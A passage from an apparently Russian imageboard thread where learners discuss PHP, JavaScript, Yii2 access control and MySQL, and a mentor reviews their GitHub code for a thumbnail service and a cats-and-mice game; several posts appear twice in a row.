> - массивы везде, больше массивов богу массивов


> - трехэтажные массивы в POST


Как иначе-то можно делать? Делать класс с геттерами/сеттерами?

> - имена переменных должны писаться с маленькой буквы


У меня с этим всё впорядке, вроде. $Users теперь уже $User - это экземпляр класса.

> - пароли не солятся, легко взламываются (урок https://gist.github.com/codedokode/9576319 )


Солятся, всё нормально.

> - велосипед, не используются фреймворки


Фреймворк использую. Это Flighthttp://flightphp.com/. Что-то вроде слима, только ещё легче.
Выбрал его, потому что на изучение всяких Yii/Laravel нет времени, сайт нужен как всегда вчера.
#495 #564548
>>564464
Все спойлеры работают. То есть при тапе содержимое показывается.

1-й спойлер: если тапнуть и отпустить до того, как анимация завершится, спойлер плавно вернётся в исходное положение. Если дождаться конца анимации, то текст останется виден до тех пор, пока не тапнешь в любом месте экрана. Также это единственный спойлер, содержимое которого у меня получилось выделить и скопировать.

2-й спойлер: похож на первый. При тапе область спойлера выделяется тенью, после этого начинается анимация. После завершения анимации тень исчезает, содержимое остается видимым. Если убрать палец до того как исчезнет тень, то спойлер плавно вернётся в исходное положение.

3-й спойлер: единственный спойлер, который прорисовывается даже при коротком тапе. Возвращается в исходное положение тапом в любом месте экрана (как и первые два). Похож на второй (при тапе на элементе появляется тень, при отпускании она исчезает).

IE11 на виндоусфоне.
#496 #564553
>>564548
Алсо, если на первом спойлере сделать короткий тап, то выделится текст, находящийся в этом месте.
#497 #564606
>>564464

Наконец доделал 4ю задачу по JS. Оказывается arguments я вообще по другому понимал.

https://ideone.com/htsBwg
#498 #564628
Дайте совет: хочу понять основные моменты языка, вот так чтобы посидел пару-тройку часов и можешь читать код. Учебник от ОПа у вас конечно хороший, но там для нубов же.
Могу в яву с cdi фрейморками и js, писать циклы и хэллоуворлды мне лень. Куда смотреть?
34 Кб, 392x450
#499 #564637
Господа, куда проще всего вкатиться? Фронт или бэкенд? Больше склоняюсь ко второму, обмазываюсь базами, осваиваю пыху, но задумываюсь о фронтенде , может лучше брать курс на оба направления? Цель -работа и деньги, ну и свои проекты
#500 #564639
>>564628

Прочитай официальный мануал для начала, чтобы знать синтаксис и особенности язык: https://secure.php.net/manual/ru/langref.php

У нас хоть и нет строгой типизации, но для аргументов функций можно указывать тип - указывай его всегда.

После этого берись за фреймворки, начать можешь с микрофреймворка Slim, потом Yii2 или Symfony2. Если ты пришел с явы, то например ORM Doctrine тебе покажется похожей на Hibernate.

Если хочешь, то задачка на список студентов и файлообменник поможет тебе разобраться с тем, как в PHP работать с таблицами, формами, загрузкой файлов и тд.

>>564548

Спасибо за подробный отчет

>>564494

Спасибо за тестирование. Современные телефоны видимо научились работать с hover, но я все же склоняюсь к использованию третьей версии спойлера, она мне кажется более надежная. Хотя как анон с видофоном написал, текст не копируется, это тоже важная особенность.
#501 #564641
>>564373

Покажи PHP код. Ты MySQL-совместимое или бинарное АПИ используешь?
#502 #564653
>>564639
А фреймворки вообще долго изучать? Ни с одним не знаком, полгода говнокодю на cms. Пришел сайт на слиме, не особо все понятно. И он без контроллеров, все через роутер. Вообще не знал, что так можно.
#503 #564662
>>564639

> Прочитай официальный мануал для начала, чтобы знать синтаксис и особенности язык: https://secure.php.net/manual/ru/langref.php



> У нас хоть и нет строгой типизации, но для аргументов функций можно указывать тип - указывай его всегда.



> После этого берись за фреймворки, начать можешь с микрофреймворка Slim, потом Yii2 или Symfony2. Если ты пришел с явы, то например ORM Doctrine тебе покажется похожей на Hibernate.



> Если хочешь, то задачка на список студентов и файлообменник поможет тебе разобраться с тем, как в PHP работать с таблицами, формами, загрузкой файлов и тд.


Спасибо
#504 #564665
>>564639
А почему плавно пропадает? Где там жс?
#505 #564679
>>564665

Там используются CSS-переходы (transition, не путай с CSS анимацией), которые позволяют плавно менять значения свойств: http://habrahabr.ru/post/111658/
#506 #564697
Вопроса два.
Первый: что такое переменная $instance в шаблоне ЬфзШвутешен, она ссылается на функцию instance, создавая экземпляр себя как синглетон? Такая бесконечная рекурсия?
static function intance() {
if(!isset(self::$instance)){
self::$instance = new ObjectWatcher();
}
return self::$instance;
}

Второй: Если в пхп коде создать бесконечное число файлов в папке System32 в бесконечном цикле и повесить на хост, то у перешедшего по ссылке сожрется память и повиснет комп?
sage #507 #564710
>>564697

> что такое переменная $instance


Переменная содержащая ссылку на экземпляр класса ObjectWatcher.

>бесконечная рекурсия


Тут нет рекурсии.

> Если в пхп коде создать бесконечное число файлов в папке System32 в бесконечном цикле и повесить на хост, то у перешедшего по ссылке сожрется память и повиснет комп?


Если создать бесконечное число дилдаков и засунуть их себе в анус, потечет ли кровь из глаз того, кто это увидит?
#508 #564745
>>562813

> Аааа, в смысле ты предлагаешь просто сложить расстояние по вертикали и горизонтали?


abs(x1 - x2) + abs(y1 - y2)
Складывать надо было бы если бы кошка ходила только по горизонтали или вертикали. Но она умеет ходить по диагонали и потому ей надо меньше ходов. Попробуй взять листочек в клеточку или графический редактор и попробовать на примерах определить за сколько ходов кошка дойдет из точки A в B

>> Надо сделать абстрактный метод getSymbol. Тогда его точно не забудешь определить.


> Странно. Если программист забудет определить поле $symbol, то после определения метода getSymbol он получит ошибку. Это и есть "намек" на то что его нужно переопределить?


Нет, ты не так понял. Заставить программиста сделать определить метод можно только сделав его абстрактным в базовом классе. Тогда от такого класса нельзя будет унаследовать конкретный класс, не определив соответствующий метод. При чем тут поле? Ты не можешь обязать добавить поле в наследнике.

Почему надо «заставлять» программиста с помощью абстрактного метода? Потому, что иначе как он узнает о том что надо переопределить символ для животного? Никак.

Разумеется перед методом можно добавить комментарий для разработчиков, чтобы они знали что должен делать этот метод.

Теперь про название метода. Метод должен назвыаться getSymbol так как он возвращает текущий символ. Для мышки в нем будет написано что-то вроде

public function getSymbol()
{
return "M";
}

Вот и все. Поле тут не нужно, зачем оно?

Метод не должен называться setSymbol так как setSymbol переводится как «задать символ» и исплоьзуется для задания символа извне:

$mouse->setSymbol('x');

но в нашей программе символ животного нельзя менять извне. Оно само его определяет. Потому и метода setSymbol быть не должно. Делая только метод getSymbol() мы говорим, что поменять символ извне нельзя.

>>562840

Хорошо, если так.

>>563026

> Для каждого проекта можно писать свои конфиги


Ну и с апачем это наверно можно как-то. Я не пробовал, но как минимум php-fpm позволяет поднять несколько пулов и например на нгинксе их назначить разным проектам.

> Зачем все настраивать руками, когда всё настроено и есть гуй - я понять не могу.


Чтобы научиться
#508 #564745
>>562813

> Аааа, в смысле ты предлагаешь просто сложить расстояние по вертикали и горизонтали?


abs(x1 - x2) + abs(y1 - y2)
Складывать надо было бы если бы кошка ходила только по горизонтали или вертикали. Но она умеет ходить по диагонали и потому ей надо меньше ходов. Попробуй взять листочек в клеточку или графический редактор и попробовать на примерах определить за сколько ходов кошка дойдет из точки A в B

>> Надо сделать абстрактный метод getSymbol. Тогда его точно не забудешь определить.


> Странно. Если программист забудет определить поле $symbol, то после определения метода getSymbol он получит ошибку. Это и есть "намек" на то что его нужно переопределить?


Нет, ты не так понял. Заставить программиста сделать определить метод можно только сделав его абстрактным в базовом классе. Тогда от такого класса нельзя будет унаследовать конкретный класс, не определив соответствующий метод. При чем тут поле? Ты не можешь обязать добавить поле в наследнике.

Почему надо «заставлять» программиста с помощью абстрактного метода? Потому, что иначе как он узнает о том что надо переопределить символ для животного? Никак.

Разумеется перед методом можно добавить комментарий для разработчиков, чтобы они знали что должен делать этот метод.

Теперь про название метода. Метод должен назвыаться getSymbol так как он возвращает текущий символ. Для мышки в нем будет написано что-то вроде

public function getSymbol()
{
return "M";
}

Вот и все. Поле тут не нужно, зачем оно?

Метод не должен называться setSymbol так как setSymbol переводится как «задать символ» и исплоьзуется для задания символа извне:

$mouse->setSymbol('x');

но в нашей программе символ животного нельзя менять извне. Оно само его определяет. Потому и метода setSymbol быть не должно. Делая только метод getSymbol() мы говорим, что поменять символ извне нельзя.

>>562840

Хорошо, если так.

>>563026

> Для каждого проекта можно писать свои конфиги


Ну и с апачем это наверно можно как-то. Я не пробовал, но как минимум php-fpm позволяет поднять несколько пулов и например на нгинксе их назначить разным проектам.

> Зачем все настраивать руками, когда всё настроено и есть гуй - я понять не могу.


Чтобы научиться
#509 #564746
>>563135

Так трудно сказать. Для начала, можно померять разными утилитами загрузку процессора, памяти, диска в виртуалке. Вот список утилит: http://habrahabr.ru/post/114082/

Попробуй для начала посмотреть htop и iotop во время копирования, посмотри насколько и кто грузит процессор, сколько памяти тратится, какая нагрузка на диск. А дальше посмотрим.

Конечно рар архив так медленно разархивироваться не должен.

>>563328

Задача 1

> start = start || 0;


> step = step || 1;


Это лучше вынести в наружную функцию, ведь достаточно это сделать 1 раз, а не при каждом вызове внутренней функции.

Ну и вместо умножения можно просто каждый раз к текущему значению прибавлять step. Код станет короче.

Задача 2

Для добавления в конец массива лучше использовать arr.push(...).

> Хоть есть и проверяльщик, и он принял ответы как верные, но я думаю, что не лишним будет запостить код, т.к. в прошлый раз к примеру x == undefined мне было засчитано как верное.


А ты скидывай программы, которые по твоему не очень корректны, но проходят тесты. Мы ведь можем попробовать доработать тесты, чтобы они не пропускали такие программы.

>>563334

Тут тоже, лучше использовать push() для вставки элемента в массив. Ну и заодно, изучи какие вообще есть методы у массивов: https://learn.javascript.ru/array-methods

Обрати внимание, некоторые методы создают и возвращают новый массив, а некоторые модифицируют тот, на котором вызваны.

>>563351

Когда мне приходилось что-то сделать под CMS, я брал документацию и делал как там написано. Иногда конечно приходилось и в код залезть и var_dump сделать чтобы понять что там куда передается.

>>563372

На PHP можно и более сложные приложения писать, изучай MVC, фреймворки.

>>563403

> Теперь хочу, чтобы можно было смотреть результат в браузере, но когда открываю там пишет 502 bad gateway.


Гуглил? https://www.google.ru/search?q=open+server+502&newwindow=1&gbv=1&sei=KRwrVrn-EcGasAHTv6noBA

Алсо, объясни зачем тебе там нгинкс? Чем тебе Апач не угодил? Поставил бы Апач + PHP без сборок, помучался бы немного и все бы работало. А так я в опен сервере не разбираюсь, могу только в гугл или в поддержку опен сервера отправить. 502 это наверно что-то не так в нгинксе настроено или еще где-то.

Можешь логи нгинкса посмотреть, может там причина есть.
#509 #564746
>>563135

Так трудно сказать. Для начала, можно померять разными утилитами загрузку процессора, памяти, диска в виртуалке. Вот список утилит: http://habrahabr.ru/post/114082/

Попробуй для начала посмотреть htop и iotop во время копирования, посмотри насколько и кто грузит процессор, сколько памяти тратится, какая нагрузка на диск. А дальше посмотрим.

Конечно рар архив так медленно разархивироваться не должен.

>>563328

Задача 1

> start = start || 0;


> step = step || 1;


Это лучше вынести в наружную функцию, ведь достаточно это сделать 1 раз, а не при каждом вызове внутренней функции.

Ну и вместо умножения можно просто каждый раз к текущему значению прибавлять step. Код станет короче.

Задача 2

Для добавления в конец массива лучше использовать arr.push(...).

> Хоть есть и проверяльщик, и он принял ответы как верные, но я думаю, что не лишним будет запостить код, т.к. в прошлый раз к примеру x == undefined мне было засчитано как верное.


А ты скидывай программы, которые по твоему не очень корректны, но проходят тесты. Мы ведь можем попробовать доработать тесты, чтобы они не пропускали такие программы.

>>563334

Тут тоже, лучше использовать push() для вставки элемента в массив. Ну и заодно, изучи какие вообще есть методы у массивов: https://learn.javascript.ru/array-methods

Обрати внимание, некоторые методы создают и возвращают новый массив, а некоторые модифицируют тот, на котором вызваны.

>>563351

Когда мне приходилось что-то сделать под CMS, я брал документацию и делал как там написано. Иногда конечно приходилось и в код залезть и var_dump сделать чтобы понять что там куда передается.

>>563372

На PHP можно и более сложные приложения писать, изучай MVC, фреймворки.

>>563403

> Теперь хочу, чтобы можно было смотреть результат в браузере, но когда открываю там пишет 502 bad gateway.


Гуглил? https://www.google.ru/search?q=open+server+502&newwindow=1&gbv=1&sei=KRwrVrn-EcGasAHTv6noBA

Алсо, объясни зачем тебе там нгинкс? Чем тебе Апач не угодил? Поставил бы Апач + PHP без сборок, помучался бы немного и все бы работало. А так я в опен сервере не разбираюсь, могу только в гугл или в поддержку опен сервера отправить. 502 это наверно что-то не так в нгинксе настроено или еще где-то.

Можешь логи нгинкса посмотреть, может там причина есть.
#510 #564747
>>563404

Если ты хочешь изучать фреймворки то надо брать и делать какой-то проект на них. Если попроще то это наша задачка на файлообменник из Оп-поста, на микрофреймворке Слим. Посложнее - это Юи2, сделать на нем например сайт объявлений вроде Авито.

Код можно постить на гитхаб и показывать нам на проверку, нам же можно вопросы задавать если что.

> И я не знаю как с этого выйти на собственно саму разработку, мне вот, например, недавно могли подкинуть проект (CRM на laravel написать), так я посмотрел тз и даже не понял как к нему подступиться и не взял в итоге.


Надо изучать фреймворки значит.

>>563411

Если ты делаешь учебные программы, зачем тебе опенсервер? Ты можешь их в консоли прямо из PhpStorm запускать, там есть кнопка для этого.

> разве в phpstorm встроен свой локальный сервер,


Он встроен в PHP. Для простых программок, если ты хочешь их запускать через браузер, можно поднять локальный сервер. Это описано в конце моего урока: https://gist.github.com/codedokode/7054af4a03865c4cc863

Наверняка PhpStorm тоже умеет запускать PHP в таком режиме.

>>563414

В CMS готовая админка. Я когда-то еще делал например так: админка от CMS, а код который выводит данные, самописный. То есть не надо мучаться с подстройкой шаблон под CMS, берешь данные из базы и пишешь код как удобно. Но единственное, я бы сегодня вместо самописа сделал публичную часть на Slim + twig + может быть доктрине, чтобы меньше велосипедить. А тогда я этих технологий просто не знал.

>>563417

Неленивый и грамотный верстальщик может зарабатывать явно больше. То, что ты написал наверно платят криворуким студентам-неучам. Которые кнопки делают тегом <a>.

>>563418

> разве кто-то будет против, если ты перенесешь проект с друпала на симфони?


Я бы против был, расходы на разработку есть, а какая прибыль от этого неясно.

>>563421

> Правильно, а как я буду сталкиваться с примерами применения этих паттернов, если я их даже не знаю?


Ну например если бы ты изучил большой фреймворк вроде Симфони, то нашел бы там паттерны. Ну или например нашу задачу про студентов, и узнал бы про паттерн TableDatagateway.

Но я тебе выше написал, ты занимаешься глупостью, паттереы сами по себе учить бессмысленно.

> Я перепечатываю паттерны ООП, потому что 1) это одно из требований.


Может быть они просто хотят поунижать кандидатов? Тогда ты не пройдешь все равно. Может они ищут человека с 10 годами опыта? Ты тогда тоже не пройдешь. Может они просто написали для галочки это треование? Тогда выучи синглтон и регистри чтобы они отстали.

> 2) книжка по ним есть в шапке.


Тогда стоит ее прочесть.

> 3) они универсальны для других ЯП. Конечно, мне интересно, куда их можно приткнуть.


Изучи сначала фреймворки которые их используют, а только потом сами паттерны.

>>563481

Просто наверно студенты с борщом завидуют успешным разработчикам.

> чем забить (полезным блеать и желательно приносящим доход) свободное время на работе?


решай наши задачи из Оп поста. Трудно придумать более полезное и развивающее твой мозг занятие.
#510 #564747
>>563404

Если ты хочешь изучать фреймворки то надо брать и делать какой-то проект на них. Если попроще то это наша задачка на файлообменник из Оп-поста, на микрофреймворке Слим. Посложнее - это Юи2, сделать на нем например сайт объявлений вроде Авито.

Код можно постить на гитхаб и показывать нам на проверку, нам же можно вопросы задавать если что.

> И я не знаю как с этого выйти на собственно саму разработку, мне вот, например, недавно могли подкинуть проект (CRM на laravel написать), так я посмотрел тз и даже не понял как к нему подступиться и не взял в итоге.


Надо изучать фреймворки значит.

>>563411

Если ты делаешь учебные программы, зачем тебе опенсервер? Ты можешь их в консоли прямо из PhpStorm запускать, там есть кнопка для этого.

> разве в phpstorm встроен свой локальный сервер,


Он встроен в PHP. Для простых программок, если ты хочешь их запускать через браузер, можно поднять локальный сервер. Это описано в конце моего урока: https://gist.github.com/codedokode/7054af4a03865c4cc863

Наверняка PhpStorm тоже умеет запускать PHP в таком режиме.

>>563414

В CMS готовая админка. Я когда-то еще делал например так: админка от CMS, а код который выводит данные, самописный. То есть не надо мучаться с подстройкой шаблон под CMS, берешь данные из базы и пишешь код как удобно. Но единственное, я бы сегодня вместо самописа сделал публичную часть на Slim + twig + может быть доктрине, чтобы меньше велосипедить. А тогда я этих технологий просто не знал.

>>563417

Неленивый и грамотный верстальщик может зарабатывать явно больше. То, что ты написал наверно платят криворуким студентам-неучам. Которые кнопки делают тегом <a>.

>>563418

> разве кто-то будет против, если ты перенесешь проект с друпала на симфони?


Я бы против был, расходы на разработку есть, а какая прибыль от этого неясно.

>>563421

> Правильно, а как я буду сталкиваться с примерами применения этих паттернов, если я их даже не знаю?


Ну например если бы ты изучил большой фреймворк вроде Симфони, то нашел бы там паттерны. Ну или например нашу задачу про студентов, и узнал бы про паттерн TableDatagateway.

Но я тебе выше написал, ты занимаешься глупостью, паттереы сами по себе учить бессмысленно.

> Я перепечатываю паттерны ООП, потому что 1) это одно из требований.


Может быть они просто хотят поунижать кандидатов? Тогда ты не пройдешь все равно. Может они ищут человека с 10 годами опыта? Ты тогда тоже не пройдешь. Может они просто написали для галочки это треование? Тогда выучи синглтон и регистри чтобы они отстали.

> 2) книжка по ним есть в шапке.


Тогда стоит ее прочесть.

> 3) они универсальны для других ЯП. Конечно, мне интересно, куда их можно приткнуть.


Изучи сначала фреймворки которые их используют, а только потом сами паттерны.

>>563481

Просто наверно студенты с борщом завидуют успешным разработчикам.

> чем забить (полезным блеать и желательно приносящим доход) свободное время на работе?


решай наши задачи из Оп поста. Трудно придумать более полезное и развивающее твой мозг занятие.
#511 #564748
>>563524
>>563527
>>563550

В таких плагинах клиентская часть по моему ничего не обрезает, а только позволяет выбрать границы обрезки и отправить их на сервер. А там уже все обрезается.

>>563542

Да, при этом будь готов пострадать от того что кнопка может иметь дополнительные 1-2 пикслеля паддинга или криво выравниваться (да еще и в разных браузерах по-разному) вертикально относительно текста. Конечно еще есть вариант использовать <span tabindex> (табиндекс чтобы работала клавиатурная навигация), но это для слабаков. Превозмогать сложности ради семантики, кроссбраузерности и красивого кода и есть путь верстальщика.

Как бонус ты получаешь например то, что меню правой кнопки будет выглядеть не так, как на ссылке, а от двойного клика не выделяется текст кнопки.

>>563580

Мануал читал, там нет ответа? http://www.yiiframework.com/doc-2.0/guide-security-authorization.html#rbac

Там написано что есть 2 способа - простой ACF и более сложный RBAC где мы можем юзерам присваивать роли.

Разные способы проверки прав - они для разных случаев. Ну например функция can() может использоваться чтобы выводить/скрывать какие-то кнопки к которым у пользователя нет доступа. Или для того чтобы проверять доступ в экшене и давать частичный доступ.

А доступ через behaviour access (второй вариант) позволяет централизованно управлять правами.

Смотри, какой способ проще тот и используй. Только я советую тебе по умолчанию закрыть доступ (можно в базовом контроллере) и потом правилами разрешать отдельные экшены, чтобы не открыть что-то по забывчивости.

Также, если ты будешь делать админку/личный кабинет, советую сделать базовый контроллер с проверкой доступа, в нем же менять лейаут на нужный и от него дальше все наследовать. Хотя тут конечно есть риск забыть и не унаследовать админский контроллер от базового... тогда наверно лучше сделать в базовом контроллере проверку по URL, типа если URL начинается с /admin, пропускать только админа.

В общем подумай как сделать защиту от дурака-программиста.

> Нету ли здесь избыточности, что я 2 раза пишу название экшена или стоит и прописать в beforeAction и проверять права единым способом там?


Это ты просто пишешь на каждое действие свою привилегию. А ведь можно просто сделать 2 права, чтение и запись например. Лучше делать систему прав проще, тогда в ней труднее запутаться.

> 2) Другим способом, в поведениях я могу задать доступ так:


> Зачем тогда мне нужно было вообще присваивать права при создании RBAC, если я могу их в каждом контроллере проверять их так?


Если ты посмотришь, то эта система связана с RBAC, она вызвает User::can() для проверки ролей по моему. И исплоьзуем имена ролей. То есть без RBAC ты можешь только проверять гость человек или нет.

> 3) Зачем вообще нужна роль гостя, если она нигде не присваивается явно?


наверно для тех случаев когда по умолчанию все запрещено (как и должно быть), и надо всем включая гостей разрешить доступ к какой-то странице.

>>563582

да ладно, пусть вбрасывает, хоть переходить никуда не надо

>>563593

Верстка это HTML + CSS + JS. Из линейки адоба надо уметь пользоваться разве что фотошопом, чтобы нарезать макеты на части.

>>563595

Кокой ты недружелюбный. не перекатиться ли тебе в другой тред отсюда?

>>563623

Верстка + PHP/SQL проще для входа и вакансий больше. А потом если захочешь хоть на Питон, хоть на Яву перекатывайся.

>>563624

Придется изучить CSS как минимум.

>>563632

Нет, риование это дизайн, а верстка это перенос нарисованного макета в код HTML.

>>563633

Вообще, нужен, для реализации полноэкранного режима например.
#511 #564748
>>563524
>>563527
>>563550

В таких плагинах клиентская часть по моему ничего не обрезает, а только позволяет выбрать границы обрезки и отправить их на сервер. А там уже все обрезается.

>>563542

Да, при этом будь готов пострадать от того что кнопка может иметь дополнительные 1-2 пикслеля паддинга или криво выравниваться (да еще и в разных браузерах по-разному) вертикально относительно текста. Конечно еще есть вариант использовать <span tabindex> (табиндекс чтобы работала клавиатурная навигация), но это для слабаков. Превозмогать сложности ради семантики, кроссбраузерности и красивого кода и есть путь верстальщика.

Как бонус ты получаешь например то, что меню правой кнопки будет выглядеть не так, как на ссылке, а от двойного клика не выделяется текст кнопки.

>>563580

Мануал читал, там нет ответа? http://www.yiiframework.com/doc-2.0/guide-security-authorization.html#rbac

Там написано что есть 2 способа - простой ACF и более сложный RBAC где мы можем юзерам присваивать роли.

Разные способы проверки прав - они для разных случаев. Ну например функция can() может использоваться чтобы выводить/скрывать какие-то кнопки к которым у пользователя нет доступа. Или для того чтобы проверять доступ в экшене и давать частичный доступ.

А доступ через behaviour access (второй вариант) позволяет централизованно управлять правами.

Смотри, какой способ проще тот и используй. Только я советую тебе по умолчанию закрыть доступ (можно в базовом контроллере) и потом правилами разрешать отдельные экшены, чтобы не открыть что-то по забывчивости.

Также, если ты будешь делать админку/личный кабинет, советую сделать базовый контроллер с проверкой доступа, в нем же менять лейаут на нужный и от него дальше все наследовать. Хотя тут конечно есть риск забыть и не унаследовать админский контроллер от базового... тогда наверно лучше сделать в базовом контроллере проверку по URL, типа если URL начинается с /admin, пропускать только админа.

В общем подумай как сделать защиту от дурака-программиста.

> Нету ли здесь избыточности, что я 2 раза пишу название экшена или стоит и прописать в beforeAction и проверять права единым способом там?


Это ты просто пишешь на каждое действие свою привилегию. А ведь можно просто сделать 2 права, чтение и запись например. Лучше делать систему прав проще, тогда в ней труднее запутаться.

> 2) Другим способом, в поведениях я могу задать доступ так:


> Зачем тогда мне нужно было вообще присваивать права при создании RBAC, если я могу их в каждом контроллере проверять их так?


Если ты посмотришь, то эта система связана с RBAC, она вызвает User::can() для проверки ролей по моему. И исплоьзуем имена ролей. То есть без RBAC ты можешь только проверять гость человек или нет.

> 3) Зачем вообще нужна роль гостя, если она нигде не присваивается явно?


наверно для тех случаев когда по умолчанию все запрещено (как и должно быть), и надо всем включая гостей разрешить доступ к какой-то странице.

>>563582

да ладно, пусть вбрасывает, хоть переходить никуда не надо

>>563593

Верстка это HTML + CSS + JS. Из линейки адоба надо уметь пользоваться разве что фотошопом, чтобы нарезать макеты на части.

>>563595

Кокой ты недружелюбный. не перекатиться ли тебе в другой тред отсюда?

>>563623

Верстка + PHP/SQL проще для входа и вакансий больше. А потом если захочешь хоть на Питон, хоть на Яву перекатывайся.

>>563624

Придется изучить CSS как минимум.

>>563632

Нет, риование это дизайн, а верстка это перенос нарисованного макета в код HTML.

>>563633

Вообще, нужен, для реализации полноэкранного режима например.
https://github.com/MindiMakridi/RESTFUL/ #512 #564749
>>563848

https://github.com/MindiMakridi/RESTFUL/

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L35


echo должно идти после header. Нельзя отправлять заголовки если ты уже что-то вывел. Потому что в протоколе HTTP сначала идут заголовки, а потом тело ответа. Потому они и называются заголовки, что идут до текста страницы.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L31


здесь не должно быть try/catch, только throw. Нельзя в одной функции делать throw и catch так как их можно тогда заменить на if. Суть исключения в том, что выбрасывая его, ты говоришь, что произошо что-то непроедвиденное. А ловить и обрабатывать его должен тот, кто вызвал твою функцию.

В твоем случае ты лишаешь пользователя твоего класса обработать ошибку так как тут же ловишь исключение и выводишь текст. А что если он не хотел выводить текст, а хотел сделать что-то другое? А если он хотел сначала вывести какие-то заголовки?

Каждый должен заниматься своим делом. Твой класс лишь выкидывает исключние, если что-то не так, а как его обрабатывать - не его дело. Этим должен заниматься кто-то другой.

Почитай урок: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L34


> if(!$this->imageSize){


Ты сначала обращаешься к imageSize как к массиву ( $this->imageFormat = $this->imageSize[2]; ), а только потом проверяешь, а есть ли там массив. Должно быть наоборот.

В остальном, все верно, работает и crop и scale, давай жуе доделаем и за что-нибудь новое возьмемся.
#513 #564750
>>564041

А я тут.

>>564123

Это тебе кажется, сложно, а потом наверно быстрее пойдет, хотя я не знаю. Но да, за месяц не освоишь все.

> переписал перцептрон с хабра - так он наполовину только пашет.


Надо значит сначала основы было изучить а не браться за сложнео сразу. Смысл переписывать готовый код? Все надо писать самому с нуля.

>>564125

Ты еще наверно эпоху флеш сайтов не застал.

>>564127

Если ты фреймворки осилил и сложные паттерны то в более простой CMS разберешься.

>>564236

> Зачем в slow-log проставляется set timestamp в каждом запросе? Этот запрос не медленный? Неужели show databases выполняется почти секунду?


Если ты давно не трогал mysql то демон может быть вытеснен в своп. Соответственно первые пару запросов будут медленными, так как он будет оттуда выкарабкиваться. Если у тебя виртуальная машина, то свопов два: в виртуалке и в хост-системе.

Так что если в этом дело (ты давно не трогал mysql и он выпал в своп) то все ок. Если же не в этом то можно попробовать поискать причины с помощью top-утилит: http://habrahabr.ru/post/114082/ если у тебя эта ситуация стабильно повторяется. Но я думаю что при повторении запроса данные где-нибудь закешируются и он быстро выполнится.

> Зачем в slow-log проставляется set timestamp в каждом запросе?


Как я понимаю, это какая-то внутренняя особенность MySQL (она перед выполнением запроса фиксирует текущее время, чтобы например при репликации на слейве функция NOW() вернула то же время), ты можешь игнорировать эту строчку. Как бонус (как я понял), ей можно принудительно задать текущее время для mysql.

Пост на percona про другое - что не часть медленных запросов может избежать попадания в slow log, но это всякие экзотически случаи.

>>564303

Да, но тебе это не нужно. зачем?
#513 #564750
>>564041

А я тут.

>>564123

Это тебе кажется, сложно, а потом наверно быстрее пойдет, хотя я не знаю. Но да, за месяц не освоишь все.

> переписал перцептрон с хабра - так он наполовину только пашет.


Надо значит сначала основы было изучить а не браться за сложнео сразу. Смысл переписывать готовый код? Все надо писать самому с нуля.

>>564125

Ты еще наверно эпоху флеш сайтов не застал.

>>564127

Если ты фреймворки осилил и сложные паттерны то в более простой CMS разберешься.

>>564236

> Зачем в slow-log проставляется set timestamp в каждом запросе? Этот запрос не медленный? Неужели show databases выполняется почти секунду?


Если ты давно не трогал mysql то демон может быть вытеснен в своп. Соответственно первые пару запросов будут медленными, так как он будет оттуда выкарабкиваться. Если у тебя виртуальная машина, то свопов два: в виртуалке и в хост-системе.

Так что если в этом дело (ты давно не трогал mysql и он выпал в своп) то все ок. Если же не в этом то можно попробовать поискать причины с помощью top-утилит: http://habrahabr.ru/post/114082/ если у тебя эта ситуация стабильно повторяется. Но я думаю что при повторении запроса данные где-нибудь закешируются и он быстро выполнится.

> Зачем в slow-log проставляется set timestamp в каждом запросе?


Как я понимаю, это какая-то внутренняя особенность MySQL (она перед выполнением запроса фиксирует текущее время, чтобы например при репликации на слейве функция NOW() вернула то же время), ты можешь игнорировать эту строчку. Как бонус (как я понял), ей можно принудительно задать текущее время для mysql.

Пост на percona про другое - что не часть медленных запросов может избежать попадания в slow log, но это всякие экзотически случаи.

>>564303

Да, но тебе это не нужно. зачем?
https://github.com/never3ver/catsandmice/ #514 #564751
>>564353

https://github.com/never3ver/catsandmice/

> https://github.com/never3ver/catsandmice/blob/master/classes/Animal.php#L35


Я думаю, на практике нам нужно не ставить координаты по отдельности, а одним скачком переместить животное на новую клетку и логичнее сделать функцию которая принимает и задает и x, и y одновременно.

> protected $symbol;


Я думаю, это поле не нужно если мы можем вызвать функцию getSymbol и получить значение из нее.

Еще мне кажется, если функция «сделать ход» обязательная для всех жвиотных, надо объявить ее абстрактной, чтобы тот кто наследует класс, не забыл ее реализовать.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L10


> return 9000;


Не очень красиво. А ведь в PHP еще есть константа INF, соответствующая бесконечности: http://php.net/manual/ru/math.constants.php

Только учти что с ней могут математические операции не работать, например if (INF == $x) может не работать и надо проверять ее специальной функцией is_infinite().

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L18


> public function makeMove($world)


Я думаю, незачем передавать world каждый ход, нужно внедрять его в животное при добавлении его на карту. То есть когда ты вызваешь $world->add(), он может в животное внедрять ссылку на себя. А при удалении с карты - удалять.

А то некрасиво, ты этот World вынужден в каждую функцию передавать.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L84


> if ($x < 0 || $y < 0 || $x > $world->getX() || $y > $world->getY()) {


Это наверно будет красивее сделать функцией $world->isWithinBounds(x, y). Тогда например мы можем делать миры произвольной формы, не только прямоугольные. Ну и вообще, незачем кошке знать о форме мира.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L87


> foreach ($world->getCritters() as $critter) {


> if ($x == $critter->getX()


Это тоже правильнее сделать в World, функцию которая возвращает что находится на данной клеточке. Незачем ее тащить в животное.

Также тебе наверно пригодится функция, возвращающая всех животных типа X в радиусе R.

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L23


> if ($this->sleepCounter == 8) {


В таких неочевидных ситуациях стоит ставить комментарий, также стоит это перенести в самое начало функции, зачем что-то делать если мы спим?

> https://github.com/never3ver/catsandmice/blob/master/classes/Cat.php#L28


> $rate = 9000;


Ненадежно, надо либо INF либо брать за начальное значение $rate оценку первого варианта хода.

Также, нет ли проблем если будет всего 1 вариант хода?

> $path[0];


Лучше бы $path['x'] наверно.

Проверять есть ли на клетке мышка надо до хода на нее, а то у нас на мгновение на клетке находится 2 животных, как бы багов не было.

Также, ты находишь минимальное значение (например расстояние до мыши) церез цикл + if. Но обрати внимние, что его можно находить немного проще, создав массив значений и взяв min() от него.

